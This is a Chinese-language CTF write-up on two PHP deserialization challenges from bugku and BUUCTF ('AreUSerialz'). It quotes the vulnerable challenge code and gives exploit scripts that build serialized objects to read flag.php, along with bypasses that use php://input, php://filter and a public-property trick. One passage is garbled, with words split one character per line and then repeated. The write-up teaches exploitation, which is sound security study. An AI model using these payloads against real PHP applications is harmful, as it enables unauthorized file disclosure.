相关知识的积累
bugku题目&WP
首先是给了俩个PHP文件:index.php和hint.php。
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
直接看代码GET传过来3个参数txt,file,password。if…else的一个判断语句肯定走if;if判断txt变量是否存在和txt变量里的文件内容,txt文件一定不是flag.php;第二个if语句的if不能走,file文件也不是flag.php;所以else的include函数也用不了。只能用反序列化这一条件了。
hint.php
<?php
class Flag{
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
一个Flag类;类中的__tostring方法里有file_get_contents 函数;必须利用这个类,Flag类的file成员是个公有成员,可以创建个对象把file成员赋值flag.php; 如何在index.php中调用这一个Flag类,txt文件可以利用php的伪协议php://input;file是hint.php利用include函数把Flag类引进来,$password变量是一个序列化的Flag对象,所以可以写一个这样的Flag类
<?php
class Flag
{
public $file;
}
$password = new Flag();
$password->file = "flag.php";
$password = serialize($password);
echo $password;
?>
得到的输出的内容就是我们
p
a
s
s
w
o
r
d
传
递
的
参
数
。
最
后
password传递的参数。最后
password传递的参数。最后password输出调用__toString方法即可将flag.php输出得到flag。 __toString(),类被当成字符串时的回应方法 __toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。 $obj是类的一个对象。对象本来不能拿echo 输出,应该用print_r 输出,否则就会报错;如果存在__tpString方法就可以用echo 输出。
buuctf-AreUSerialz&Wp
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
整体思路:str变量字符串必须是在ASCII码32到125之间,然后遇到unserialize 调用__destruct函数,然后再调用process函数,最后再调用read和output函数得到结果。 那么编写的类是这样的
<?php
class FileHandler
{
protected $op = 2;
protected $filename = 'flag.php';
protected $content;
}
$r = new FileHandler();
$r = serialize($r);
print_r($r);
?>
filename也可以是php封装协议, 最后的结果base64解码就可以 protected $filename=“php://filter/read=convert.base64-encode/resource=flag.php”;
刚开始我把$op='2abc' ,发现不成功,因为2abc是字符串和字符串2用== 比较是不同的, 会把不同类型转换为相同类型再比较。
之后 将结果加上%00后GET方法提交str参数发现不成功, 查资料后发现%00的ASCII码是0。不在ASCII码32到125之间的。可以使用一种简单的办法绕过:因为php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public就可以了。
|